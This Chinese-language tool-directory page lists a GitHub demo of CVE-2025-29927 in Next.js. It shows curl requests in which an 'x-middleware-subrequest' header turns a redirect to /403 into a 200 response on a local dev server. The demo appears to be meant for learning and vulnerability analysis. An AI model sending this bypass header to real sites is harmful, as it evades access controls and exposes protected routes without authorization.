Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
nextjs-middleware-bypass-demo — 展示 Next.js 中的一个中间件绕过漏洞(CVE-2025-29927),演示如何利用 x-middleware-subrequest 标头访问受保护的路由。 | Kitploit
工具/GitHubGitHub/fourcube/nextjs-middleware-bypass-demo
漏洞分析Web应用程序漏洞利用Web安全渗透测试学习与教育
GitHubfourcube/nextjs-middleware-bypass-demo

nextjs-middleware-bypass-demo

展示 Next.js 中的一个中间件绕过漏洞(CVE-2025-29927),演示如何利用 x-middleware-subrequest 标头访问受保护的路由。

查看仓库

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
581年前尚未审核
分享

CVE-2025-29927 演示

原文分析文章:https://zhero-web-sec.github.io/research-and-things/nextjs-and-the-corrupt-middleware

设置

首先,运行开发服务器:

npm i
npm run dev

用浏览器打开 http://localhost:3000 查看结果。

尝试绕过

curl -I http://localhost:3000

HTTP/1.1 307 Temporary Redirect
location: /403
Date: Mon, 24 Mar 2025 08:02:50 GMT
Connection: keep-alive
Keep-Alive: timeout=5

curl -I -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000

HTTP/1.1 200 OK
Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch, Accept-Encoding
link: </_next/static/media/569ce4b8f30dc480-s.p.woff2>; rel=preload; as="font"; crossorigin=""; type="font/woff2", </_next/static/media/93f479601ee12b01-s.p.woff2>; rel=preload; as="font"; crossorigin=""; type="font/woff2", </_next/static/css/app/layout.css?v=1742803407039>; rel=preload; as="style"
Cache-Control: no-store, must-revalidate
X-Powered-By: Next.js
Content-Type: text/html; charset=utf-8
Date: Mon, 24 Mar 2025 08:03:27 GMT
Connection: keep-alive
Keep-Alive: timeout=5
下载工具